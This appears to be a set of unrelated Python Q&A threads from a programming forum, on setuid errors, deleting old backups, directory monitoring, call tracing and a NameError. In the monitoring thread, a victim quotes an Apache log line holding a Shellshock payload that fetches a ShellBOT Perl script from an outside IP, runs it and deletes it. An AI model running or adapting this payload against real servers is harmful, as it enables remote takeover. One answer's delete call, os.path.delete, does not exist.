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make a python program have my UID to modificate a file

So, in short, I created a script (named main.py) in which there was a moment where I wrote in a file. It worked well. However, the permissions on this file had to be rwxrwxrw- and hence anyone could modify the file on the server. That's not what I wanted. So I changed the permissions to rwxrwxr-- and then I changed the code of main.py :
#!/usr/bin/python
import subprocess
text = "I want this text to appear in my file"
command = subprocess.Popen(["python", "modificateFile.py", str('"')+text+str('"')], stderr=subprocess.PIPE, stdout=subprocess.PIPE) #I run another file that will do the task
for i in command.stderr:
print(i.decode("utf-8")) #check if there is any error
code of modificateFile.py
#!/usr/bin/python
import platform
import os
import sys
UID = 1080 #my UID.. I don't really know if it's the right way to program this
if __name__ == "__main__":
system = platform.system()
if system == "Linux": #ok it may be useless
os.setuid(UID) # /!\ I THINK THAT'S WHERE THE PROBLEM IS /!\
if len(sys.argv) > 1:
with open("file.txt", "w", encoding="utf-8") as f:
f.write(sys.argv[1])
else:
sys.stderr.write("not enough parameters to work") #didn't know which error I could raise..
#so as I already imported sys, I used this function
exit(-1)
else:
sys.stderr.write("wrong OS : program only work on linux")
exit(-1)
When I created this, I didn't know really what I was doing to be honest… I am learning programming.
Error message:
Traceback (most recent call last): File "modificateFile.py", line 11,
in os.setuid(UID) PermissionError: [Errno 1] Operation not permitted
I heard of SUID.. but I don't have root permissions.
Could someone explain what is wrong and what I could do ?
(if you need more elements, tell me it)

ok…. I thought SUID was only available for root programs… I had already tested it for this program but it didn't work. However, I learnt after that SUID is not available for programs with a shebang at the beginning… So, I created a code in C to do that.

Python subprocess script failing

Have written the below script to delete files in a folder not matching the dates in the "keep" period. Eg. Delete all except files partly matching this name.
The command works from the shell but fails with the subprocess call.
/bin/rm /home/backups/!(*"20170920"*|*"20170919"*|*"20170918"*|*"20170917"*|*"20170916"*|*"20170915"*|*"20170914"*)
#!/usr/bin/env python
from datetime import datetime
from datetime import timedelta
import subprocess
### Editable Variables
keepdays=7
location="/home/backups"
count=0
date_string=''
for count in range(0,keepdays):
if(date_string!=""):
date_string+="|"
keepdate = (datetime.now() - timedelta(days=count)).strftime("%Y%m%d")
date_string+="*\""+keepdate+"\"*"
full_cmd="/bin/rm "+location+"/!("+date_string+")"
subprocess.call([full_cmd], shell=True)
This is what the script returns:
#./test.py
/bin/rm /home/backups/!(*"20170920"*|*"20170919"*|*"20170918"*|*"20170917"*|*"20170916"*|*"20170915"*|*"20170914"*)
/bin/sh: 1: Syntax error: "(" unexpected
Python version is Python 2.7.12

Just as #hjpotter said, subprocess will use /bin/sh as default shell, which doesn't support the kind of globbing you want to do. See official documentation. You can change that using the executable parameter to subprocess.call() with a more appropriate shell (/bin/bash or /bin/zsh for example): subprocess.call([full_cmd], executable="/bin/bash", shell=True)
BUT you can be a lot better served by Python itself, you don't need to call a subprocess to delete a file:
#!/usr/bin/env python
from datetime import datetime
from datetime import timedelta
import re
import os
import os.path
### Editable Variables
keepdays=7
location="/home/backups"
now = datetime.now()
keeppatterns = set((now - timedelta(days=count)).strftime("%Y%m%d") for count in range(0, keepdays))
for filename in os.listdir(location):
dates = set(re.findall(r"\d{8}", filename))
if not dates or dates.isdisjoint(keeppatterns):
abs_path = os.path.join(location, filename)
print("I am about to remove", abs_path)
# uncomment the line below when you are sure it won't delete any valuable file
#os.path.delete(abs_path)

A python script to monitor a directory for new files

Similar questions have been asked but they either did not work for me or I failed to understand the answers.
I run Apache2 webserver and host a few petty personal sites. I am being cyberstalked, or someone is attempting to hack me.
The Apache2 access log shows
195.154.80.205 - - [05/Nov/2015:09:57:09 +0000] "GET /info.cgi HTTP/1.1" 404 464 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\r\n\r\nXSUCCESS!\";system(\"wget http://190.186.76.252/cox.pl -O /tmp/cox.pl;curl -O /tmp/cox.pl http://190.186.76.252/cox.pl;perl /tmp/cox.pl;rm -rf /tmp/cox.pl*\");'"
which is clearly attempting (over and over again in my logs) to force my server to download 'cox.pl' then run 'cox.pl' then remove 'cox.pl'.
I really want to know what is in cox.pl which could be a modified version of Cox-Data-Usage which is there on github.
I would like a script that will constantly monitor my /tmp folder, and when a new file is added then copy that file to another directory for me to see what it is doing, or attempting to do at least.
I know I could deny access etc. but I want to find out what these hackers are trying to do and see if I can gather intel about them.

The script in question can be easily downloaded, it contains ShellBOT by: devil__ so... guess ;-)
You could use tutorial_notifier.py from pyinotify, but there's no need for this particular case. Just do
curl http://190.186.76.252/cox.pl -o cox.pl.txt
less cox.pl.txt
to check the script.
It looks like a good suite of hacks for Linux 2.4.17 - 2.6.17 and maybe BSD*, not that harmless to me, IRC related. It has nothing to do with Cox-Data-Usage.

The solution to the question wouldn't lie in a python script, this is more of a security issue for the likes of Fail2ban or similar to handle, but there is a way to monitor a directory for changes using Python Watchdog. (pip install watchdog)
Taken from: https://pythonhosted.org/watchdog/quickstart.html#a-simple-example
import sys
import time
import logging
from watchdog.observers import Observer
from watchdog.events import LoggingEventHandler
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(message)s',
datefmt='%Y-%m-%d %H:%M:%S')
path = sys.argv[1] if len(sys.argv) > 1 else '.'
event_handler = LoggingEventHandler()
observer = Observer()
observer.schedule(event_handler, path, recursive=True)
observer.start()
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
observer.stop()
observer.join()
This will log all changes, (it can be configured for just file creation).
If you want to rename new files to something else, you first need to know if the file is free or any modifications will fail, i.e it's not finished downloading/creation. That issue can mean that a call to that file can come before you've moved or renamed it programmatically. That's why this isn't a solution.

I got some solution,
solution 1 (CPU usage: 27.9% approx= 30%):
path_to_watch = "your/path"
print('Your folder path is"',path,'"')
before = dict ([(f, None) for f in os.listdir (path_to_watch)])
while 1:
after = dict ([(f, None) for f in os.listdir (path_to_watch)])
added = [f for f in after if not f in before]
if added:
print("Added: ", ", ".join (added))
break
else:
before = after
I have edited the code, the orginal code is available at http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
The original code was made in python 2x so you need to convert it in python 3.
NOTE:-
WHEN EVER YOU ADD ANY FILE IN PATH, IT PRINTS THE TEXT AND BREAKS, AND IF NO FILES ARE ADDED THEN IT WOULD CONTINUE TO RUN.
Solution 2 (CPU usage: 23.4 approx=20%)
import os
path=r'C:\Users\Faraaz Anas Ammaar\Documents\Programming\Python\Eye-Daemon'
b=os.listdir(path)
path_len_org=len(b)
def file_check():
while 1:
b=os.listdir(path)
path_len_final=len(b)
if path_len_org<path_len_final:
return "A file is added"
elif path_len_org>path_len_final:
return "A file is removed"
else:
pass
file_check()

How to know which file is calling which file, filesystem

How to know which file is calling which file in filesystem, like file1.exe is calling file2.exe
so file2.exe is modified,
and file1.exe is entered in log file.
winos
I have searched INTERNET but not able to find any samples.

In order know which file is calling which file you can use the Trace module
exp: if you have 2 files
***file1.py***
import file2
def call1():
file2.call2()
***file2.py***
def call2():
print "---------"
u can use it using console:
$ python -m trace --trackcalls path/to/file1.py
or within a program using a Trace object
****tracefile.py***
import trace,sys
from file1 import call1
#specify what to trace here
tracer = trace.Trace(ignoredirs=[sys.prefix, sys.exec_prefix], trace=0, count=1)
tracer.runfunc(call1) #call the function call1 in fille1
results = tracer.results()
results.write_results(summary=True, coverdir='.')

Python forgetting variable name?

I'm learning Python and I'm have some issues.
I got this error message:
Traceback (most recent call last):
File "main_console.py", line 8, in <module>
from util import Util
File "../utils/util.py", line 13, in <module>
class Util:
File "../utils/util.py", line 73, in Util
config.write(configfile)
NameError: name 'config' is not defined
Following is my code (this is inside a function):
config = ConfigParser.ConfigParser()
for index, list in enumerate(my_list):
config.add_section(str(index))
config.set(str(index), 'id', list.name)
config.set(str(index), 'host', list.host)
# Creating the folder
myFolder = "/etc/element/"
if not os.path.exists(myFolder):
os.makedirs(myFolder)
# Creating the file
filePath = "/etc/element/settings.cfg"
with open(filePath, 'wb') as configfile:
config.write(configfile)
Note: I'm using Sublime Text 3 as IDE. "myFolder" have the same problem a little time ago - if I type filePath = myFolder + '/settings.cfg' I got the same error of "not defined". Finally, I imported ConfigParser as following: import ConfigParser.
Is Python forgetting my variable name or I'm doing something wrong?

It is possible ConfigParser or some other import also defines a config variable that is being used by your config.write().
Sometimes it is safer to just import the functions you need, that way you know exactly what is defined in your file. It means you have to explicitly import everything that you use in other files, but it prevents any unknown duplication in your namespace.
You would do this like:
from ConfigParser import ConfigParser # instead of import ConfigParser
# Then
config = ConfigParser()
Secondly, config is a common variable - try renaming it to something like myConfig and see if it still happens.

configfile is the object that you want to use for write(). You are using a parser to write.

Thanks for replies, but I found the solution.
I go to Nano and edit the file with this error, so I see the indentation is absolutaly wrong. It was just a Sublime text 3 issue, now's solved.